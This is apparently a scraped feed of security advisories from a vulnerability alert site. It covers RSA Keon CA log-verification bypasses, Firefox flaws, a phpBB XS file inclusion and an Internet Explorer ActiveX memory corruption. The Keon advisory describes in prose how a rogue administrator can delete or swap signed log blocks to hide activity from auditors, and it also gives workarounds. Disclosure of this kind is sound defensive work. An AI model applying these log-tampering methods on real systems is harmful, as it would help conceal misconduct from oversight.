<title>RSA Keyon Log verification bypass vulnerability</title>
<link>http://www.securityalertz.com/Article2222.html</link>
<description><![CDATA[Arhont Ltd.- Information Security<br />
<br />
Arhont Advisory by:     Andrei Mikhailovsky<br />
Advisory:               RSA Keon Manager log verification bypass<br />
Product release:        Versions 6.6 and 6.5.1<br />
Arhont ref:             arh200605-1<br />
Class:                  Design flaw<br />
Model Specific:         Other versions of RSA Keon are likely to be<br />
vulnerable<br />
<br />
<br />
DETAILS:<br />
During the analysis of RSA Keon Certificate Authority Manager, Arhont<br />
Ltd consultants have discovered several vulnerabilities in the Log<br />
Verification function. A rogue CA (Certificate Authority) administrator<br />
or any local administrative user with the access to the CA server could<br />
manipulate the secure logging process to disguise his/her activities.<br />
<br />
The RSA Keon product has a designed role separation capability to <br />
enable<br />
the specific role of the CA Auditor, separate from the role of the CA<br />
Administrator. The CA Auditor is responsible for looking over the<br />
activity of the CA, including CA reconfiguration, certificate vetting,<br />
signing, revocation, suspension, etc. The Auditor relies on the logging<br />
facility of the Keon software, which has a Log verification function.<br />
This option checks the cryptographic hash signatures embedded in the <br />
log<br />
file against the contents of the log file to prevent log modification.<br />
The log files generated by the Keon software are signed and stored for<br />
the purpose of verification and are designed to be temper proof.<br />
However, Arhont consultants have found at least two ways to bypass the<br />
Log verification functionality of the RSA Keon software.<br />
<br />
<br />
Vulnerability 1<br />
<br />
The default installation of the Keon stores xml logs in a «C:\Program<br />
Files\ RSA Security\ RSA_KeonCA\LogServer\logs\<filename>.xml» file.<br />
The logs are stored in the following format:<br />
<br />
<LOG BLOCK 1><br />
        <SIG BLOCK><br />
                <LOG ENTRY 1><br />
                        ......<br />
                </LOG ENTRY 1><br />
                <LOG ENTRY 2><br />
                        ......<br />
                </LOG ENTRY 2><br />
                        ..<br />
                        ..<br />
                        ..<br />
                        ..<br />
        </SIG BLOCK><br />
<SIGNATURE><HASH><br />
</LOG BLOCK 1><br />
<LOG BLOCK 2><br />
        <SIG BLOCK><br />
                <LOG ENTRY 1><br />
                        ......<br />
                </LOG ENTRY 1><br />
                <LOG ENTRY 2><br />
                        ......<br />
                </LOG ENTRY 2><br />
                        ..<br />
                        ..<br />
                        ..<br />
                        ..<br />
        </SIG BLOCK><br />
<SIGNATURE><HASH><br />
</LOG BLOCK 2><br />
        ..<br />
        ..<br />
        ..<br />
<br />
Depending on the activity cycle of the Keon CA, each log file usually<br />
contains a number of blocks as shown above. It is possible to delete <br />
the<br />
entire <LOG BLOCK> with its signature from the log file without failing<br />
the verification process of the Log verification functionality of the<br />
Keon Software. Therefore, it would be possible to hide a malicious<br />
activity from the CA Auditor.<br />
<br />
The log verification function seems to lack the capability to store a<br />
cryptographic checksum of the entire <LOG BLOCK> pool in each of the <br />
log<br />
files. Instead, it only stores the cryptographic checksum for each of<br />
the <LOG BLOCK>.<br />
<br />
During the RSA Keon analysis Arhont consultants have found the <br />
following<br />
methods of deleting logs to be effective against the Log Verification<br />
function:<br />
<br />
1.It is possible to swap, duplicate, or add the first and the last <LOG<br />
BLOCK> from each of the files in the log directory.<br />
2.It is possible to swap, duplicate, add or delete the <LOG BLOCK><br />
located anywhere in the file. However, deleting the first and the last<br />
<LOG BLOCK> from the log file gives an integrity failure message in the<br />
verification function.<br />
<br />
<br />
<br />
Vulnerability 2<br />
<br />
The local system administrator of the CA server or any user having a<br />
read/write access to the RSA Keon LogServer directory can delete, add<br />
and modify any entries in the live log file. Once the file has been<br />
tempered, it will remain on the server until the next log rotation<br />
schedule. Once the log file is rotated, the cryptographic hashing and<br />
signing is performed and the log entries are grouped and signed. The <br />
log<br />
files are then available for the CA Auditor to monitor and verify.<br />
<br />
As you can see, there is an opportunity for a rogue or disgruntled CA<br />
administrator to perform malicious activities and remove the<br />
corresponding logs before they are cryptographically signed by the<br />
LogServer. Once the signing is made, the Auditor can successfully <br />
verify<br />
the log files that has been tempered.<br />
<br />
<br />
RISK FACTOR:<br />
The risk factor of Vulnerability 1 and 2 highly depends on the<br />
organisation and the use of the RSA Keon CA. In organisations where the<br />
CA functionality is not highly critical to the business activities and<br />
continuity, the Risk factor is moderate. However, in the organisations<br />
where the Certificate Authority use is paramount to the security and<br />
business continuity and where the Logging activities should be closely<br />
monitored and audited, vulnerabilities present a high risk factor.<br />
Therefore, this could present a threat to the organisational compliance<br />
with standards such as Sarbanes-Oxley, HIPAA and Basel II, where the<br />
great emphasis on the audits and controls is highlighted. In addition,<br />
the Common Criteria certification demands a complete and secure<br />
separation of the CA Administrator and CA Auditor roles and thus can be<br />
seriously affected by this vulnerability.<br />
<br />
<br />
WORKAROUNDS:<br />
Vulnerability 1: <br />
This is likely to be a functionality design flaw. To fix this<br />
vulnerability, the Log signing functionality should include an<br />
additional feature of creating and storing the signature for all of the<br />
<LOG BLOCK> sections in the log file. Any modifications made to the<br />
critical sections of the log file will be flagged out by the incorrect<br />
signature.<br />
<br />
<br />
Vulnerability 2:<br />
This vulnerability seems to be related to the design fault similar to<br />
Vulnerability 1. In order to prevent the log modification, the live log<br />
file should be locked by the operating system or the Keon software.<br />
Alternatively, it should be possible to implement an incremental log<br />
signing process to store a cryptographic hash signatures of the file<br />
content before each log file is signed and written. The second solution<br />
might not be optimal due to the high resource consumption on the busy<br />
Keon servers.<br />
<br />

<description><![CDATA[Some vulnerabilities have been reported in Mozilla Firefox, which can be exploited by malicious people to conduct man-in-the-middle, spoofing, and cross-site scripting attacks, and potentially compromise a user's system.<br />
<br />
1) An error in the handling of JavaScript regular expressions containing a minimal quantifier can be exploited to cause a heap-based buffer overflow.<br />
<br />
Successful exploitation may allow execution of arbitrary code.<br />
<br />
2) The auto-update mechanism uses SSL to communicate securely. The problem is that users may have accepted an unverifiable self-signed certificate when visiting a web site, which will allow an attacker to redirect the update check to a malicious web site in a man-in-the-middle attack.<br />
<br />
3) Some time-dependent errors during text display can be exploited to corrupt memory.<br />
<br />
Successful exploitation may allow execution of arbitrary code.<br />
<br />
This is related to:<br />
SA21513<br />
<br />
4) An error exists within the verification of certain signatures in the bundled Network Security Services (NSS) library.<br />
<br />
For more information:<br />
SA21903<br />
<br />
5) An error in the cross-domain handling can be exploited to inject arbitrary HTML and script code in a sub-frame of another web site via a "[window].frames[index].document.open()" call.<br />
<br />
6) An error exists due to blocked popups opened from the status bar via the "blocked popups" functionality being opened in an incorrect context in certain situations. This may be exploited to execute arbitrary HTML and script code in a user's browser session in context of an arbitrary web site.<br />
<br />
7) Some unspecified memory corruption errors may be exploited to execute arbitrary code.<br />
<br />
Solution:<br />
Update to version 1.5.0.7.<br />
http://www.mozilla.com/firefox/<br />
<br />
Provided and/or discovered by:<br />
1) Priit Laes, CanadianGuy, Girts Folkmanis, and Catalin Patulea<br />
2) Jon Oberheide<br />
3) Jonathan Watt and Michal Zalewski<br />
4) Philip Mackenzie and Marius Schilder, Google<br />
5-6) shutdown<br />

<link>http://www.securityalertz.com/Article2216.html</link>
<description><![CDATA[NoGe has discovered a vulnerability in phpBB XS, which can be exploited by malicious people to compromise a vulnerable system.<br />
<br />
Input passed to the "phpbb_root_path" parameter in bb_usage_stats/includes/bb_usage_stats.php isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources.<br />
<br />
Successful exploitation requires that "register_globals" is enabled.<br />
<br />
The vulnerability has been confirmed in version 0.58. Other versions may also be affected.<br />

<title>Internet Explorer daxctle.ocx &quot;KeyFrame()&quot; Method Vulnerability</title>
<link>http://www.securityalertz.com/Article2212.html</link>
<description><![CDATA[nop has discovered a vulnerability in Internet Explorer, which can be exploited by malicious people to compromise a user's system.<br />
<br />
The vulnerability is caused due to a memory corruption error in the Microsoft Multimedia Controls ActiveX control (daxctle.ocx) in the "CPathCtl::KeyFrame()" function. This can be exploited by e.g. tricking a user into viewing a malicious HTML document passing specially crafted arguments to the ActiveX control's "KeyFrame()" method.<br />
<br />
Successful exploitation allows execution of arbitrary code.<br />
<br />
NOTE: A somewhat working exploit is publicly available for partially patched versions of Windows 2000. However, Secunia has successfully created a fully working exploit for Windows XP SP2 (fully patched).<br />
<br />
It is also possible to crash the browser via the "Spline()" method.<br />
<br />
Solution:<br />
Only allow trusted websites to run ActiveX controls.<br />
